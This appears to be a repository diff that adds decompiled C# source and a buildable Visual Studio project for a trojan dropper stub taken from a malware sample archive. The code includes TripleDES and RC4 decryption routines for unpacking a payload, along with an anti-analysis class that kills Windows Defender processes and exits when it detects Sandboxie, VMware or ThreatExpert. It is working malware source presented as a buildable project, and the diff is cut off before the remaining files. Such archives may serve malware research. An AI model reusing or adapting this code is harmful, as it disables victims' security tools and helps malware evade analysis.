<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+55
@@ -0,0 +1,55 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.MSIL.StubRC.afy-ee36551ac3637c0aa14dd39146a804c86161a4d4aba555b6ed5fad5d4acd5b21.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{BC95064C-E648-4FCA-AA7A-3184FD797A00}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Stub</AssemblyName>
|
||||
<ApplicationVersion>2.0.0.2</ApplicationVersion>
|
||||
<RootNamespace>Stub</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="_3des.cs" />
|
||||
<Compile Include="_4cr.cs" />
|
||||
<Compile Include="ant.cs" />
|
||||
<Compile Include="Mymod.cs" />
|
||||
<Compile Include="rp.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stub", "Trojan-Dropper.MSIL.StubRC.afy-ee36551ac3637c0aa14dd39146a804c86161a4d4aba555b6ed5fad5d4acd5b21.csproj", "{BC95064C-E648-4FCA-AA7A-3184FD797A00}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{BC95064C-E648-4FCA-AA7A-3184FD797A00}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{BC95064C-E648-4FCA-AA7A-3184FD797A00}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{BC95064C-E648-4FCA-AA7A-3184FD797A00}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{BC95064C-E648-4FCA-AA7A-3184FD797A00}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Stub._3des
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D998FF3F-31C1-474D-AB90-B3CFC9EC5BB6
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.MSIL.StubRC.afy-ee36551ac3637c0aa14dd39146a804c86161a4d4aba555b6ed5fad5d4acd5b21.exe
|
||||
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace Stub
|
||||
{
|
||||
public class _3des
|
||||
{
|
||||
[DebuggerNonUserCode]
|
||||
public _3des()
|
||||
{
|
||||
}
|
||||
|
||||
public static string a(string b, string c, bool d)
|
||||
{
|
||||
byte[] inputBuffer = Convert.FromBase64String(b);
|
||||
byte[] numArray = !d ? Encoding.UTF8.GetBytes(c) : new MD5CryptoServiceProvider().ComputeHash(Encoding.UTF8.GetBytes(c));
|
||||
TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider();
|
||||
cryptoServiceProvider.Key = numArray;
|
||||
cryptoServiceProvider.Mode = CipherMode.ECB;
|
||||
cryptoServiceProvider.Padding = PaddingMode.PKCS7;
|
||||
return Encoding.UTF8.GetString(cryptoServiceProvider.CreateDecryptor().TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
|
||||
}
|
||||
}
|
||||
}
|
||||
+67
@@ -0,0 +1,67 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Stub._4cr
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D998FF3F-31C1-474D-AB90-B3CFC9EC5BB6
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.MSIL.StubRC.afy-ee36551ac3637c0aa14dd39146a804c86161a4d4aba555b6ed5fad5d4acd5b21.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace Stub
|
||||
{
|
||||
public class _4cr
|
||||
{
|
||||
[DebuggerNonUserCode]
|
||||
public _4cr()
|
||||
{
|
||||
}
|
||||
|
||||
public static string enc(string message, string mykey)
|
||||
{
|
||||
int index1 = 0;
|
||||
int index2 = 0;
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
string empty = string.Empty;
|
||||
int[] numArray1 = new int[257];
|
||||
int[] numArray2 = new int[257];
|
||||
int length = mykey.Length;
|
||||
int location1 = 0;
|
||||
while (location1 <= (int) byte.MaxValue)
|
||||
{
|
||||
char String = mykey.Substring(location1 % length, 1).ToCharArray()[0];
|
||||
numArray2[location1] = Strings.Asc(String);
|
||||
numArray1[location1] = location1;
|
||||
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
||||
}
|
||||
int index3 = 0;
|
||||
int location2 = 0;
|
||||
while (location2 <= (int) byte.MaxValue)
|
||||
{
|
||||
index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256;
|
||||
int num = numArray1[location2];
|
||||
numArray1[location2] = numArray1[index3];
|
||||
numArray1[index3] = num;
|
||||
Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1));
|
||||
}
|
||||
location1 = 1;
|
||||
while (location1 <= message.Length)
|
||||
{
|
||||
index1 = checked (index1 + 1) % 256;
|
||||
index2 = checked (index2 + numArray1[index1]) % 256;
|
||||
int num1 = numArray1[index1];
|
||||
numArray1[index1] = numArray1[index2];
|
||||
numArray1[index2] = num1;
|
||||
int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
|
||||
int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2;
|
||||
stringBuilder.Append(Strings.Chr(CharCode));
|
||||
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
||||
}
|
||||
string str = stringBuilder.ToString();
|
||||
stringBuilder.Length = 0;
|
||||
return str;
|
||||
}
|
||||
}
|
||||
}
|
||||
+70
@@ -0,0 +1,70 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Stub.ant
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D998FF3F-31C1-474D-AB90-B3CFC9EC5BB6
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.MSIL.StubRC.afy-ee36551ac3637c0aa14dd39146a804c86161a4d4aba555b6ed5fad5d4acd5b21.exe
|
||||
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Stub
|
||||
{
|
||||
public class ant
|
||||
{
|
||||
[DebuggerNonUserCode]
|
||||
public ant()
|
||||
{
|
||||
}
|
||||
|
||||
[DllImport("user32", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
private static extern long FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName);
|
||||
|
||||
public static void mofo()
|
||||
{
|
||||
ant.seekit("MSASCui");
|
||||
ant.seekit("msmpeng");
|
||||
ant.antiSandboxie();
|
||||
ant.IsVmWare();
|
||||
ant.AntiThreatExpert();
|
||||
}
|
||||
|
||||
private static void seekit(string gay1)
|
||||
{
|
||||
Process[] processes = Process.GetProcesses();
|
||||
int index = 0;
|
||||
while (index < processes.Length)
|
||||
{
|
||||
Process process = processes[index];
|
||||
if (process.ProcessName.Contains(gay1))
|
||||
process.Kill();
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
|
||||
public static void antiSandboxie()
|
||||
{
|
||||
if (Process.GetProcessesByName("SbieSvc").Length < 1)
|
||||
return;
|
||||
Environment.Exit(0);
|
||||
}
|
||||
|
||||
public static void IsVmWare()
|
||||
{
|
||||
string str1 = "VMDragDetectWndClass";
|
||||
ref string local1 = ref str1;
|
||||
string str2 = (string) null;
|
||||
ref string local2 = ref str2;
|
||||
if (ant.FindWindow(ref local1, ref local2) != 0L)
|
||||
return;
|
||||
Environment.Exit(0);
|
||||
}
|
||||
|
||||
private static void AntiThreatExpert()
|
||||
{
|
||||
if (!Process.GetCurrentProcess().MainModule.FileName.Contains("sample"))
|
||||
return;
|
||||
Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user